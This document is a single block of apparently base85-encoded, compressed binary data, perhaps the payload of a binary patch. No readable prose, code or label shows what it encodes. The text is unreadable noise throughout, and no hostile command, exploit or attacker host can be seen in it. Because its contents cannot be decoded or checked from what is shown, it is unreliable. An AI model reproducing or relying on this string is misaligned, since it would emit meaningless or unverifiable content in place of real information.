z>jM8*fxj>Civs^n-~?+3jCISlz*>>$-l?Li?pLssHahTnGG350n3# z#V);n75v`_ewp2$cIA`xF!fLOF!j&#F!}W!CjSZ#lfT}>UKP>q73;t&W|G0;l{;-Fc{xcpX|5*={f5yY)zu;l=e`~R`ugvcAN9Aj=hEd5clDFC&!-%})?#PREDuxP5)U)I%REf}T8o{&*9-oe1b?sK?-%@c z3H}E>%=AC(VW$5n50n3}hsi(TVe+5$F!|3~?Ck%E;Qz|QjQ`&~%=l;RqZ3!Y=L9aZ z8_?d>!9OJMkibU;J|^&Sflmp1THrGRzaTKrInj~K@hBs3R$#Xu?&RJ6 zx5F!ie3QVN1a1-7J&$$zdIWz!;6Z^82|Oh5QGt&M?Do%H`lkf{w7_QsenDXOsMP7p z*!^LL-E(q>d5)6KVYh!y%=X7~lynX^d6@OLNnn0u+_`!LvL5F1tr;HX^P4&kF9BZe z;l;pPJbVc-Y0lBURSv+XJUXEbx%P#{?c0_>{nB1U@UUE?7&Wy;&Bt zb;O~-4FWd_+$?a5z&!#F3Vc}LA%TwxJS^}jfzJqhR$yh@FSD%kFK{TZ>;F!^N${Hm zZV|Xg;6Z^83p^z7F@c8#J|*xOfzJx;`m4*2>z@vXwtqS7`lrLLKRVnjzB}LG_$`9pBk-WWhXo!I_?W=M z0-qB2jKF6FcF&`nz1bit4&5I@fg1#F61Z957J+*N9u)Ynz(WEb6L?tQQv#n6_^iMx zU7BC_e9DzaDERKYj^j58ezU+W0`~|!DDYu{hXg(*@UXzA1U@71S%GmRDROfW^6!_# zq2M*jf%!*|oTL0E z56=VMA#jJl0|Fls_=vzq1wJnDNr6ub{DQ#e1kRMZ+?e^xG=bgoAWAWRD+Pa(z&ix) z5O_e~LjoTW_^80g1wJY8X@Or5_?*BQE_|(H{-z1+&f`%;=U?zQ3GDvTxs&e@`~iUv z3GAMqxcEl}|G2;>1wJkC3j&`LIAizYU3$|5cF#*3f2H7W5_pHe9Rd#sd`MuvheO9{ z8vEBu0ytupf6mU|93OvyRXfL5_3inc{kwCmJ9qZxZ&mfh{6JCF_vSn6*KNP5o*@2i z1HOeXKS>>Z%E6PeU#p{%nCiY^XFd|36EF$)@;mB%&J4UsV^TNFLf5Y7k3e{zGW0(| zHOAj}i2t~Smlj^|$s6_g4t@+De{#a-cDI>Ve(GUGv2~}a@7upu`?fgLmUZhIbFZP- z;JoD)Hd=rAO2b~J{l?to1~yuMh2{Exf1%`?i8={o03Ct?_^VicbkBZ>kz89D2wE4|?->Qf#+~X`ye54ed9mFn zV(>HJ=Zo*ZJI6@gZAI&N1Fqgst7*J6A27ktc>266^XcMeEuHVgj+Xveygy6V;vyIr z#kWvxMfos3*ZjU~w%@Im6-8M(=l9sKtb;)t|EQLZFTxyk1d2vWzk%POhI^Y(?DFl> z|1M-07Gmn**^JG1TuPmb=cr{MNE&&M+W5cs=0T*7kOg71`s=av=hopougqJD%fFwG z5jr9FnMJt3;Zp%6PC)fRa3zfqj@S*D%j`b3QzB*W1!FY(!#hljVSDhJ_VbaPwEuR{ zq)x{C)*4>X{zSz{*;^qqTKZ>b7@S+TF@5$`nf@Wrs8hDnCF?+hJL4i47}@IVs6)Vo zt%&v}Tw_p*342b;&IMsK`-kj?d5eupHLMC}j;sIaph=yKlFjpqdi3u5#8Q^se6;k{ zhbWEmxAB=iUa=pM{_jDfP7DJj?r4vJ%_Y=0z9at{fzi@$vEy%O1(`mZlFa{4L6do6 zlyf%y_XI?-ld?YoYqazSM@fGgWM%sJl*@>`Gqpo(m~bcU0K#-H!Oz8~F1r5-+$)?y